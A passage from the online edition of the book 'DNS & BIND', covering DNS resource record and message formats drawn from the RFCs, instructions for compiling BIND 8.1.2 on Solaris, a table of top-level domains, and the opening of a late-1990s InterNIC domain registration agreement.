terminator.movie.edu.  IN  WKS 192.249.249.3  TCP ( telnet smtp
                                              ftp shell domain )

Binary Representation:

WKS type code: 11
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    ADDRESS                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |       PROTOCOL        |                       |
    +--+--+--+--+--+--+--+--+                       |
    |                                               |
    /                   BIT MAP               /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
ADDRESS         An 32 bit Internet address
PROTOCOL        An 8 bit IP protocol number
BIT MAP       A variable length bit map.  The bit map must
                be a multiple of 8 bits long.

A.1.3 New Types from RFC 1183

A.1.3.1 AFSDB Andrew File System Data Base - experimental

Textual Representation:

owner ttl class AFSDB subtype hostname

Example:

fx.movie.edu.  IN  AFSDB  1 bladerunner.fx.movie.edu.
               IN  AFSDB  2 bladerunner.fx.movie.edu.
               IN  AFSDB  1 empire.fx.movie.edu.
               IN  AFSDB  2 aliens.fx.movie.edu.

Binary Representation:

AFSDB type code: 18
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                   SUBTYPE                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                   HOSTNAME                    /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
SUBTYPE         Subtype 1 is an AFS cell database server. Subtype 2
                is a DCE authenticated name server.
HOSTNAME        A domain-name which specifies a host that has a
                server for the cell named by the owner of the RR.

A.1.3.2 ISDN Integrated Services Digital Network address - experimental

Textual Representation:

owner ttl class ISDN ISDN-address sa

Example:

delay.hp.com.    IN  ISDN  141555514539488
hep.hp.com.      IN  ISDN  141555514539488 004

Binary Representation:

ISDN type code: 20
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                 ISDN ADDRESS                  /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                  SUBADDRESS                   /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
ISDN ADDRESS    A character-string which identifies the ISDN number
                of owner and DDI (Direct Dial In) if any.
SUBADDRESS      An optional character-string specifying the
                subaddress.

A.1.3.3 RP Responsible Person - experimental

Textual Representation:

owner ttl class RP mbox-dname txt-dname

Example:

; The current origin is fx.movie.edu
@            IN  RP   ajs.fx.movie.edu.   ajs.fx.movie.edu.
bladerunner  IN  RP   root.fx.movie.edu.  hotline.fx.movie.edu.
             IN  RP   richard.fx.movie.edu.  rb.fx.movie.edu.
ajs          IN  TXT  "Arty Segue, (415) 555-3610"
hotline      IN  TXT  "Movie U. Network Hotline, (415) 555-4111"
rb           IN  TXT  "Richard Boisclair, (415) 555-9612"

Binary Representation:

RP type code: 17
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                    MAILBOX                    /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                    TXTDNAME                   /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
MAILBOX         A domain-name that specifies the mailbox for
                the responsible person.
TXTDNAME        A domain-name for which TXT RR's exist.  A
                subsequent query can be performed to retrieve
                the associated TXT resource records at
                txt-dname

A.1.3.4 RT Route Through - experimental

Textual Representation:

owner ttl class RT preference intermediate-host

Example:

sh.prime.com.  IN  RT  2   Relay.Prime.COM.
               IN  RT  10  NET.Prime.COM.

Binary Representation:

RT type code: 21
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                  PREFERENCE                   |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                 INTERMEDIATE                  /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
PREFERENCE      A 16 bit integer which specifies the preference
                given to this RR among others at the same owner.
                Lower values are preferred.
EXCHANGE        A domain-name which specifies a host which will
                serve as an intermediate in reaching the host
                specified by owner.

A.1.3.5 X25 X.25 address - experimental

Textual Representation:

owner ttl class X25 PSDN-address

Example:

relay.pink.com.  IN  X25   31105060845

Binary Representation:

X25 type code: 19
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                 PSDN ADDRESS                  /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
PSDN ADDRESS    A character-string which identifies the PSDN
                (Public Switched Data Network) address in the
                X.121 numbering plan associated with owner.

A.1.4 New Types from RFC 1664

A.1.4.1 PX pointer to X.400/RFC 822 mapping information

Textual Representation:

owner ttl class PX preference RFC822 address X.400 address

Example:

ab.net2.it.  IN  PX  10   ab.net2.it.  O-ab.PRMD-net2.ADMDb.C-it.

Binary Representation:

 PX type code: 26
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                  PREFERENCE                   |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                    MAP822                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    /                    MAPX400                    /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
PREFERENCE   A 16 bit integer which specifies the preference given to
             this RR among others at the same owner.  Lower values
             are preferred.
MAP822       A domain-name element containing rfc822-domain, the
             RFC 822 part of the RFC 1327 mapping information.
MAPX400      A domain-name element containing the value of
             x400-in-domain-syntax derived from the X.400 part of
             the RFC 1327 mapping information.

A.1.5 Classes

(From RFC 1035, page 13)

CLASS fields appear in resource records. The following CLASS mnemonics and values are defined:

IN

1 the Internet

CS

2 the CSNET class (obsolete - used only for examples in some obsolete RFCs)

CH

3 the CHAOS class

HS

4 the Hesiod class

Previous: 15.9 DNS and WINS | DNS & BIND | Next: A.2 DNS Message
15.9 DNS and WINS | Book Index | A.2 DNS Message


[Appendix A] A.2 DNS Message

DNS & BIND

DNS & BINDSearch this book
Previous: A.1 Master File Format Appendix A
DNS Message Format and Resource Records 		Next: A.3 Header Section Format

A.2 DNS Message

In order to write programs that parse DNS packets, you need to understand the message format. DNS queries and responses are most often contained within UDP packets. Each message is fully contained within a UDP packet. If the query and response are sent over TCP, then they are prefixed with a two-byte value indicating the length of the query or response, excluding the two-byte length. The format and content of the DNS packet are as follows.

A.2.1 Format

(From RFC 1035, page 25)

All communications inside of the domain protocol are carried in a single format called a message. The top level format of message is divided into 5 sections (some of which are empty in certain cases) shown below:

    +---------------------+
    |        Header       |
    +---------------------+
    |       Question      | the question for the name server
    +---------------------+
    |        Answer       | RRs answering the question
    +---------------------+
    |      Authority      | RRs pointing toward an authority
    +---------------------+
    |      Additional     | RRs holding additional information
    +---------------------+

The header section is always present. The header includes fields that specify which of the remaining sections are present, and also specify whether the message is a query or a response, a standard query or some other opcode, etc.

The names of the sections after the header are derived from their use in standard queries. The question section contains fields that describe a question to a name server. These fields are a query type (QTYPE), a query class (QCLASS), and a query domain name (QNAME). The last three sections have the same format: a possibly empty list of concatenated resource records (RRs). The answer section contains RRs that answer the question; the authority section contains RRs that point toward an authoritative name server; the additional records section contains RRs which relate to the query, but are not strictly answers for the question.

Previous: A.1 Master File Format | DNS & BIND | Next: A.3 Header Section Format
A.1 Master File Format | Book Index | A.3 Header Section Format


[Appendix A] A.3 Header Section Format

DNS & BIND

DNS & BINDSearch this book
Previous: A.2 DNS Message Appendix A
DNS Message Format and Resource Records 		Next: A.4 Resource Record Data

A.3 Header Section Format

(From RFC 1035, pages 26-28)

                                    1  1  1  1  1  1
      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      ID                       |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |QR|   Opcode  |AA|TC|RD|RA|   Z    |   RCODE   |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    QDCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    ANCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    NSCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    ARCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
ID             A 16 bit identifier assigned by the program that
               generates any kind of query.  This identifier is copied
               the corresponding reply and can be used by the requester
               to match up replies to outstanding queries.
QR             A one bit field that specifies whether this message is a
               query (0), or a response (1).
OPCODE         A four bit field that specifies kind of query in this
               message.  This value is set by the originator of a query
               and copied into the response.  The values are:
               0               a standard query (QUERY)
               1               an inverse query (IQUERY)
               2               a server status request (STATUS)
               3-15            reserved for future use
AA             Authoritative Answer - this bit is valid in responses,
               and specifies that the responding name server is an
               authority for the domain name in question section.
               Note that the contents of the answer section may have
               multiple owner names because of aliases.  The AA bit
               corresponds to the name which matches the query name, or
               the first owner name in the answer section.
TC             TrunCation - specifies that this message was truncated
               due to length greater than that permitted on the
               transmission channel.
RD             Recursion Desired - this bit may be set in a query and
               is copied into the response.  If RD is set, it directs
               the name server to pursue the query recursively.
               Recursive query support is optional.
RA             Recursion Available - this bit is set or cleared in a
               response, and denotes whether recursive query support is
               available in the name server.
Z              Reserved for future use.  Must be zero in all queries
               and responses.
RCODE          Response code - this 4 bit field is set as part of
               responses.  The values have the following
               interpretation:
               0               No error condition
               1               Format error - The name server was
                               unable to interpret the query.
               2               Server failure - The name server was
                               unable to process this query due to a
                               problem with the name server.
               3               Name Error - Meaningful only for
                               responses from an authoritative name
                               server, this code signifies that the
                               domain name referenced in the query does
                               not exist.
               4               Not Implemented - The name server does
                               not support the requested kind of query.
               5               Refused - The name server refuses to
                               perform the specified operation for
                               policy reasons.  For example, a name
                               server may not wish to provide the
                               information to the particular requester,
                               or a name server may not wish to perform
                               a particular operation (e.g., zone
                               transfer) for particular data.
               6-15            Reserved for future use.
QDCOUNT        an unsigned 16 bit integer specifying the number of
               entries in the question section.
ANCOUNT        an unsigned 16 bit integer specifying the number of
               resource records in the answer section.
NSCOUNT        an unsigned 16 bit integer specifying the number of name
               server resource records in the authority records
               section.
ARCOUNT        an unsigned 16 bit integer specifying the number of
               resource records in the additional records section.

A.3.1 Question Section Format

(From RFC 1035, pages 28-29)

The question section is used to carry the "question" in most queries, i.e., the parameters that define what is being asked. The section contains QDCOUNT (usually 1) entries, each of the following format:

                                    1  1  1  1  1  1
      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                                               |
    /                     QNAME                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                     QTYPE                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                     QCLASS                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
QNAME          a domain name represented as a sequence of labels, where
               each label consists of a length octet followed by that
               number of octets.  The domain name terminates with the
               zero length octet for the null label of the root.  Note
               that this field may be an odd number of octets; no
               padding is used.
QTYPE          a two octet code which specifies the type of the query.
               The values for this field include all codes valid for a
               TYPE field, together with some more general codes which
               can match more than one type of RR.
QCLASS         a two octet code that specifies the class of the query.
               For example, the QCLASS field is IN for the Internet.

A.3.1.1 QCLASS values

(From RFC 1035, page 13)

QCLASS fields appear in the question section of a query. QCLASS values are a superset of CLASS values; every CLASS is a valid QCLASS. In addition to CLASS values, the following QCLASSes are defined:

*

255 any class.

A.3.1.2 QTYPE values

(From RFC 1035, pages 12-13)

QTYPE fields appear in the question part of a query. QTYPES are a superset of TYPEs, hence all TYPEs are valid QTYPEs. In addition, the following QTYPEs are defined:

AXFR

252 A request for a transfer of an entire zone

MAILB

253 A request for mailbox-related records (MB, MG or MR)

MAILA

254 A request for mail agent RRs (Obsolete - see MX)

*

255 A request for all records

A.3.2 Answer, Authority, and Additional Section Format

(From RFC 1035, pages 29-30)

The answer, authority, and additional sections all share the same format: a variable number of resource records, where the number of records is specified in the corresponding count field in the header. Each resource record has the following format:

                                    1  1  1  1  1  1
      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                                               |
    /                                               /
    /                      NAME                     /
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      TYPE                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                     CLASS                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      TTL                      |
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                   RDLENGTH                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--|
    /                     RDATA                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
where:
NAME           a domain name to which this resource record pertains.
TYPE           two octets containing one of the RR type codes.  This
               field specifies the meaning of the data in the RDATA
               field.
CLASS          two octets which specify the class of the data in the
               RDATA field.
TTL            a 32 bit unsigned integer that specifies the time
               interval (in seconds) that the resource record may be
               cached before it should be discarded.  Zero values are
               interpreted to mean that the RR can only be used for the
               transaction in progress, and should not be cached.
RDLENGTH       an unsigned 16 bit integer that specifies the length in
               octets of the RDATA field.
RDATA          a variable length string of octets that describes the
               resource.  The format of this information varies
               according to the TYPE and CLASS of the resource record.
               For example, if the TYPE is A and the CLASS is IN,
               the RDATA field is a 4 octet ARPA Internet address.

A.3.3 Data Transmission Order

(From RFC 1035, pages 8-9)

The order of transmission of the header and data described in this document is resolved to the octet level. Whenever a diagram shows a group of octets, the order of transmission of those octets is the normal order in which they are read in English. For example, in the following diagram, the octets are transmitted in the order they are numbered.

     0                   1
     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |       1       |       2       |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |       3       |       4       |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |       5       |       6       |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Whenever an octet represents a numeric quantity, the left most bit in the diagram is the high order or most significant bit. That is, the bit labeled 0 is the most significant bit. For example, the following diagram represents the value 170 (decimal).

     0 1 2 3 4 5 6 7
    +-+-+-+-+-+-+-+-+
    |1 0 1 0 1 0 1 0|
    +-+-+-+-+-+-+-+-+

Similarly, whenever a multi-octet field represents a numeric quantity the left most bit of the whole field is the most significant bit. When a multi-octet quantity is transmitted, the most significant octet is transmitted first.

Previous: A.2 DNS Message | DNS & BIND | Next: A.4 Resource Record Data
A.2 DNS Message | Book Index | A.4 Resource Record Data


[Appendix A] A.4 Resource Record Data

DNS & BIND

DNS & BINDSearch this book
Previous: A.3 Header Section Format Appendix A
DNS Message Format and Resource Records 		Next: B. Compiling and Installing BIND on a Sun

A.4 Resource Record Data

A.4.1 Data Format

In addition to two- and four-octet integer values, resource record data can contain domain names or character strings.

A.4.1.1 Domain name

(From RFC 1035, page 10)

Domain names in messages are expressed in terms of a sequence of labels. Each label is represented as a one octet length field followed by that number of octets. Since every domain name ends with the null label of the root, a domain name is terminated by a length byte of zero. The high order two bits of every length octet must be zero, and the remaining six bits of the length field limit the label to 63 octets or less.

A.4.1.2 Message compression

(From RFC 1035, page 30)

In order to reduce the size of messages, the domain system utilizes a compression scheme which eliminates the repetition of domain names in a message. In this scheme, an entire domain name or a list of labels at the end of a domain name is replaced with a pointer to a prior occurrence of the same name.

The pointer takes the form of a two octet sequence:

    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    | 1  1|                OFFSET                   |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

The first two bits are ones. This allows a pointer to be distinguished from a label, since the label must begin with two zero bits because labels are restricted to 63 octets or less. (The 10 and 01 combinations are reserved for future use.) The OFFSET field specifies an offset from the start of the message (i.e., the first octet of the ID field in the domain header). A zero offset specifies the first byte of the ID field, etc.

A.4.1.3 Character string

(From RFC 1035, page 13)

Character string is a single length octet followed by that number of characters. Character string is treated as binary information, and can be up to 256 characters in length (including the length octet).

Previous: A.3 Header Section Format | DNS & BIND | Next: B. Compiling and Installing BIND on a Sun
A.3 Header Section Format | Book Index | B. Compiling and Installing BIND on a Sun


[Appendix B] Compiling and Installing BIND on a Sun

DNS & BIND

DNS & BINDSearch this book
Previous: A.4 Resource Record Data Appendix B Next: B.2 Unpack the Source Code

B. Compiling and Installing BIND on a Sun

Contents:
Get the Source Code
Unpack the Source Code
Use the Proper Compiler Settings
Build Everything

The version of BIND shipped with Solaris 2.6 is based on the 4.9.3 release of BIND - a tad stale. Earlier versions of Solaris 2 include a BIND based on 4.8.3, which is downright ripe. For those of you who can't wait until Solaris ships with a version of BIND 8, compiling BIND from the sources on a Sun is relatively easy, because Solaris is based on BSD UNIX, and BIND was originally written for BSD UNIX. Here are instructions on how to compile and install 8.1.2 BIND on your Solaris 2.X host.

B.1 Get the Source Code

First, you've got to get the source code. There's a copy on ftp.isc.org, available for anonymous ftp:

% cd /tmp
% ftp ftp.isc.org.
Connected to pub1.pa.vix.com.
220 pub1.pa.vix.com FTP server (Version wu-2.4(1) Fri Dec 29 06:15:49 GMT 1995) ready.
Name (ftp.isc.org.:user): ftp
331 Guest login ok, send e-mail address as password.
Password:

Now you need to find the right file:

ftp > cd /isc/bind/src/cur/bind-8
250 CWD command successful.
ftp > binary
200 Type set to I.
ftp > get bind-8.1.2-src.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for bind-8.1.2-src.tar.gz (675801 bytes).
226 Transfer complete.
675801 bytes received in 89.5 seconds (7.4 Kbytes/s)
ftp > quit
221 Goodbye.

Previous: A.4 Resource Record Data | DNS & BIND | Next: B.2 Unpack the Source Code
A.4 Resource Record Data | Book Index | B.2 Unpack the Source Code


[Appendix B] B.2 Unpack the Source Code

DNS & BIND

DNS & BINDSearch this book
Previous: B.1 Get the Source Code Appendix B
Compiling and Installing BIND on a Sun 		Next: B.3 Use the Proper Compiler Settings

B.2 Unpack the Source Code

Now you've got the compressed tar file that contains the BIND source. Just use zcat to uncompress it, then untar it:

% zcat bind-8.1.2-src.tar.gz | tar -xvf -

(This assumes you've got a version of zcat that can handle gzipped files; if you don't, go get one via anonymous ftp from alpha.gnu.ai.mit.edu in /gnu/fileutils-3.16p.tar.gz.) This will create a src directory with several subdirectories, including bin, include, lib, and port. They contain:

bin

Source code for all BIND binaries, including named.

include

Copies of include files referenced by the BIND code. You should use these to build your name server instead of the ones shipped with your system, since they have been updated.

lib

Source code for libraries used by BIND.

port

Information BIND uses to customize compilation settings and compile-time options for various operating systems.

Previous: B.1 Get the Source Code | DNS & BIND | Next: B.3 Use the Proper Compiler Settings
B.1 Get the Source Code | Book Index | B.3 Use the Proper Compiler Settings


[Appendix B] B.3 Use the Proper Compiler Settings

DNS & BIND

DNS & BINDSearch this book
Previous: B.2 Unpack the Source Code Appendix B
Compiling and Installing BIND on a Sun 		Next: B.4 Build Everything

B.3 Use the Proper Compiler Settings

Before you can build everything, you'll need an ANSI/ISO C compiler. If your version of Solaris came with one, great. Otherwise, get gcc, the GNU C compiler. You can find information on how to get gcc from http://www.fsf.org/order/ftp.html.

By default, BIND assumes you're using the GNU C compiler and various other GNUish utilities, like flex and byacc. If your operating system came with a full complement of development tools, including cc, lex and yacc, you'll need to copy port/solaris/Makefile.set.sun to port/solaris/Makefile.set. This lets BIND know that you're using the stock tools.

Previous: B.2 Unpack the Source Code | DNS & BIND | Next: B.4 Build Everything
B.2 Unpack the Source Code | Book Index | B.4 Build Everything


[Appendix B] B.4 Build Everything

DNS & BIND

DNS & BINDSearch this book
Previous: B.3 Use the Proper Compiler Settings Appendix B
Compiling and Installing BIND on a Sun 		Next: C. Top-Level Domains

B.4 Build Everything

Next, you compile everything from the top-level directory. First, run:

% make stdlinks

Then run:

% make clean
% make depend

This will remove any old object files you might have sitting around from previous compilation attempts, and will update the Makefile dependencies. Then, compile the source code by running

% make

The source code should compile without any errors. Next, install the new named and named-xfer into /usr/sbin. You'll need to become root to do this. On Solaris, they're called in.named and in.named-xfer, respectively. Use the command:

# make install

That's all there is!

Previous: B.3 Use the Proper Compiler Settings | DNS & BIND | Next: C. Top-Level Domains
B.3 Use the Proper Compiler Settings | Book Index | C. Top-Level Domains


[Appendix C] Top-Level Domains

DNS & BIND

DNS & BINDSearch this book
Previous: B.4 Build Everything Appendix C Next: D. Domain Registration Form

C. Top-Level Domains

This table lists all of the two-letter country codes and all of the top-level domains that aren't countries. Not all of the countries are registered in the Internet's name space at the time of this writing, but there aren't many missing.

Domain | Country or Organization
AD | Andorra
AE | United Arab Emirates
AF | Afghanistan
AG | Antigua and Barbuda
AI | Anguilla
AL | Albania
AM | Armenia
AN | Netherlands Antilles
AO | Angola
AQ | Antarctica
AR | Argentina
ARPA | ARPA Internet
AS | American Samoa
AT | Austria
AU | Australia
AW | Aruba
AZ | Azerbaijan
BA | Bosnia and Herzegovina
BB | Barbados
BD | Bangladesh
BE | Belgium
BF | Burkina Faso
BG | Bulgaria
BH | Bahrain
BI | Burundi
BJ | Benin
BM | Bermuda
BN | Brunei Darussalam
BO | Bolivia
BR | Brazil
BS | Bahamas
BT | Bhutan
BV | Bouvet Island
BW | Botswana
BY | Belarus
BZ | Belize
CA | Canada
CC | Cocos (Keeling) Islands
CD | Congo, Democratic Republic of the
CF | Central African Republic
CG | Congo
CH | Switzerland
CI | Cote d'Ivoire
CK | Cook Islands
CL | Chile
CM | Cameroon
CN | China
CO | Colombia
COM | commercial
CR | Costa Rica
CU | Cuba
CV | Cape Verde
CX | Christmas Island
CY | Cyprus
CZ | Czech Republic
DE | Germany
DJ | Djibouti
DK | Denmark
DM | Dominica
DO | Dominican Republic
DZ | Algeria
EC | Ecuador
EDU | education
EE | Estonia
EG | Egypt
EH | Western Sahara
ER | Eritrea
ES | Spain
ET | Ethiopia
FI | Finland
FJ | Fiji
FK | Falkland Islands (Malvinas)
FM | Micronesia, Federated States of
FO | Faroe Islands
FR | France
FX | France, Metropolitan
GA | Gabon
GB | United Kingdom[1]
GOV | government
GD | Grenada
GE | Georgia
GF | French Guiana
GH | Ghana
GI | Gibraltar
GL | Greenland
GM | Gambia
GN | Guinea
GP | Guadeloupe
GQ | Equatorial Guinea
GR | Greece
GS | South Georgia and the South Sandwich Islands
GT | Guatemala
GU | Guam
GW | Guinea-Bissau
GY | Guyana
HK | Hong Kong
HM | Heard and McDonald Islands
HN | Honduras
HR | Croatia
HT | Haiti
HU | Hungary
ID | Indonesia
IE | Ireland
IL | Israel
IN | India
INT | international entities
IO | British Indian Ocean Territory
IQ | Iraq
IR | Iran
IS | Iceland
IT | Italy
JM | Jamaica
JO | Jordan
JP | Japan
KE | Kenya
KG | Kyrgyzstan
KH | Cambodia
KI | Kiribati
KM | Comoros
KN | Saint Kitts and Nevis
KP | Korea, Democratic People's Republic of
KR | Korea, Republic of
KW | Kuwait
KY | Cayman Islands
KZ | Kazakhstan
LA | Lao People's Democratic Republic
LB | Lebanon
LC | Saint Lucia
LI | Liechtenstein
LK | Sri Lanka
LR | Liberia
LS | Lesotho
LT | Lithuania
LU | Luxembourg
LV | Latvia
LY | Libyan Arab Jamahiriya
MA | Morocco
MC | Monaco
MD | Moldova, Republic of
MG | Madagascar
MH | Marshall Islands
MIL | military
MK | Macedonia, the Former Yugoslav Republic of
ML | Mali
MM | Myanmar
MN | Mongolia
MO | Macau
MP | Northern Mariana Islands
MQ | Martinique
MR | Mauritania
MS | Montserrat
MT | Malta
MU | Mauritius
MV | Maldives
MW | Malawi
MX | Mexico
MY | Malaysia
MZ | Mozambique
NA | Namibia
NATO | North Atlantic Treaty Organization
NC | New Caledonia
NE | Niger
NET | networking organizations
NF | Norfolk Island
NG | Nigeria
NI | Nicaragua
NL | Netherlands
NO | Norway
NP | Nepal
NR | Nauru
NU | Niue
NZ | New Zealand
OM | Oman
ORG | organizations
PA | Panama
PE | Peru
PF | French Polynesia
PG | Papua New Guinea
PH | Philippines
PK | Pakistan
PL | Poland
PM | St. Pierre and Miquelon
PN | Pitcairn
PR | Puerto Rico
PT | Portugal
PW | Palau
PY | Paraguay
QA | Qatar
RE | Reunion
RO | Romania
RU | Russian Federation
RW | Rwanda
SA | Saudi Arabia
SB | Solomon Islands
SC | Seychelles
SD | Sudan
SE | Sweden
SG | Singapore
SH | St. Helena
SI | Slovenia
SJ | Svalbard and Jan Mayen Islands
SK | Slovakia
SL | Sierra Leone
SM | San Marino
SN | Senegal
SO | Somalia
SR | Suriname
ST | Sao Tome and Principe
SV | El Salvador
SY | Syrian Arab Republic
SZ | Swaziland
TC | Turks and Caicos Islands
TD | Chad
TF | French Southern Territories
TG | Togo
TH | Thailand
TJ | Tajikistan
TK | Tokelau
TM | Turkmenistan
TN | Tunisia
TO | Tonga
TP | East Timor
TR | Turkey
TT | Trinidad and Tobago
TV | Tuvalu
TW | Taiwan, Province of China
TZ | Tanzania, United Republic of
UA | Ukraine
UG | Uganda
UK | United Kingdom
UM | United States Minor Outlying Islands
US | United States
UY | Uruguay
UZ | Uzbekistan
VA | Holy See (Vatican City State)
VC | Saint Vincent and The Grenadines
VE | Venezuela
VG | Virgin Islands (British)
VI | Virgin Islands (U.S.)
VN | Vietnam
VU | Vanuatu
WF | Wallis and Futuna Islands
WS | Samoa
YE | Yemen
YT | Mayotte
YU | Yugoslavia
ZA | South Africa
ZM | Zambia
ZW | Zimbabwe

[1] In practice, the United Kingdom uses "UK" for its top-level domain.

Previous: B.4 Build Everything | DNS & BIND | Next: D. Domain Registration Form
B.4 Build Everything | Book Index | D. Domain Registration Form


[Appendix D] Domain Registration Form

DNS & BIND

DNS & BINDSearch this book
Previous: C. Top-Level Domains Appendix D Next: E. in-addr.arpa Registration Form

D. Domain Registration Form

This appendix contains the form used to register the name of your domain with the InterNIC. For the most current version of this form, or for the InterNIC's online, HTML-based interface for completing the form, see http://www.rs.internic.net/rs-internic.html.

[ URL ftp://rs.internic.net/templates/domain-template.txt ] [ 03/98 ]

******* Please DO NOT REMOVE Version Number or Sections A-Q ********

Domain Version Number: 4.0

******* Email completed agreement to hostmaster@internic.net *******

        NETWORK SOLUTIONS, INC.

        DOMAIN NAME REGISTRATION AGREEMENT

A.      Introduction. This domain name registration agreement
("Registration Agreement") is submitted to NETWORK SOLUTIONS, INC.
("NSI") for the purpose of applying for and registering a domain name
on the Internet. If this Registration Agreement is accepted by NSI,
and a domain name is registered in NSI's domain name database and
assigned to the Registrant, Registrant ("Registrant") agrees to be
bound by the terms of this Registration Agreement and the terms of
NSI's Domain Name Dispute Policy ("Dispute Policy") which is
incorporated herein by reference and made a part of this Registration
Agreement. This Registration Agreement shall be accepted at the
offices of NSI.

B. Fees and Payments.

1) Registration or renewal (re-registration) date through March 31, 1998:
Registrant agrees to pay a registration fee of One Hundred United States
Dollars (US$100) as consideration for the registration of each new domain
name or Fifty United States Dollars (US$50) to renew (re-register) an
existing registration.
2) Registration or renewal date on and after April 1, 1998:  Registrant
agrees to pay a registration fee of Seventy United States Dollars (US$70)
as consideration for the registration of each new domain name or the
applicable renewal (re-registration) fee (currently Thirty-Five United
States Dollars (US$35)) at the time of renewal (re-registration).
3) Period of Service:  The non-refundable fee covers a period of two (2)
years for each new registration, and one (1) year for each renewal,
and includes any permitted modification(s) to the domain name record
during the covered period.
4) Payment:  Payment is due to Network Solutions within thirty (30)
days from the date of the invoice.

C.      Dispute Policy. Registrant agrees, as a condition to
submitting this Registration Agreement, and if the Registration
Agreement is accepted by NSI, that the Registrant shall be bound by
NSI's current Dispute Policy. The current version of the Dispute
Policy may be found at the InterNIC Registration Services web site:
"http://www.netsol.com/rs/dispute-policy.html".

D.      Dispute Policy Changes or Modifications. Registrant agrees
that NSI, in its sole discretion, may change or modify the Dispute
Policy, incorporated by reference herein, at any time. Registrant
agrees that Registrant's maintaining the registration of a domain name
after changes or modifications to the Dispute Policy become effective
constitutes Registrant's continued acceptance of these changes or
modifications. Registrant agrees that if Registrant considers any such
changes or modifications to be unacceptable, Registrant may request
that the domain name be deleted from the domain name database.

E.      Disputes. Registrant agrees that, if the registration of its
domain name is challenged by any third party, the Registrant will be
subject to the provisions specified in the Dispute Policy.

F.      Agents. Registrant agrees that if this Registration Agreement
is completed by an agent for the Registrant, such as an ISP or
Administrative Contact/Agent, the Registrant is nonetheless bound as a
principal by all terms and conditions herein, including the Dispute
Policy.

G.      Limitation of Liability. Registrant agrees that NSI shall have
no liability to the Registrant for any loss Registrant may incur in
connection with NSI's processing of this Registration Agreement, in
connection with NSI's processing of any authorized modification to the
domain name's record during the covered period, as a result of the
Registrant's ISP's failure to pay either the initial registration fee
or renewal fee, or as a result of the application of the provisions of
the Dispute Policy. Registrant agrees that in no event shall the
maximum liability of NSI under this Agreement for any matter exceed
Five Hundred United States Dollars (US$500).

H.      Indemnity. Registrant agrees, in the event the Registration
Agreement is accepted by NSI and a subsequent dispute arises with any
third party, to indemnify and hold NSI harmless pursuant to the terms
and conditions contained in the Dispute Policy.

I.      Breach. Registrant agrees that failure to abide by any
provision of this Registration Agreement or the Dispute Policy may be
considered by NSI to be a material breach and that NSI may provide a
written notice, describing the breach, to the Registrant. If, within
thirty (30) days of the date of mailing such notice, the Registrant
fails to provide evidence, which is reasonably satisfactory to NSI,
that it has not breached its obligations, then NSI may delete
Registrant's registration of the domain name. Any such breach by a
Registrant shall not be deemed to be excused simply because NSI did
not act earlier in response to that, or any other, breach by the
Registrant.

J.      No Guaranty. Registrant agrees that, by registration of a
domain name, such registration does not confer immunity from objection
to either the registration or use of the domain name.

K.      Warranty. Registrant warrants by submitting this Registration
Agreement that, to the best of Registrant's knowledge and belief, the
